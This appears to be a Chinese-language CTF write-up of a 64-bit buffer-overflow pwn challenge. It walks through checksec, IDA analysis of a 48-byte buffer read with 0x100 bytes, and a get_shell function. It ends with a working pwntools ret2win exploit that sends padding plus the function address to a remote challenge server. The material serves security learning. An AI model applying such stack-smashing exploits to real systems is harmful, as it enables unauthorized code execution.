1、题目描述,溢出,还给出了nc地址和端口
2、在kali中使用file命令查看下载的文件是多少位的
再使用checksec命令查看该文件是否有保护机制,显然没有
3、运行改可执行文件看看,第二步随便输入
4、用64位的IDA分析文件,按F5进入主函数,这段程序定义了一个48字节的数组s。memset()函数将数组s的前0x30字节初始化为0,read()函数以s作为缓存区读取了0x100个字节的数据。数组s的长度小于要读取的长度,这会导致缓冲区溢出。
数组s的栈结构:
5、在函数那一栏,看到名为get_shell的函数,可能是一个后门函数,它的地址为0x400751。进一步分析, 这段代码的作用是向控制台输出两行字符串,然后执行 cat flag
命令,显示文件 flag
的内容。如果 flag
文件存在并且可读,它的内容将会被打印在控制台上。
6、思路:system("cat flag")
是代码的核心漏洞点。如果我们能够调用 get_shell_()
函数,我们就能执行系统命令 。需要找到能调用该函数的入口,需要将数组s的部分进行覆盖。
从栈结构中可以看到,数组 s
的大小是 48 字节(0x30)。我们需要覆盖返回地址,因此需要填充 48 字节的缓冲区,再加上 8 字节的栈帧指针(EBP)。 然后是 get_shell_()
函数的地址。
7、构造漏洞利用程序exp:
from pwn import *
#io = process('./pwn2')
io = remote("114.67.175.224", 14794)
payload = b'a' * (0x30 + 0x8) + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()
8、运行结果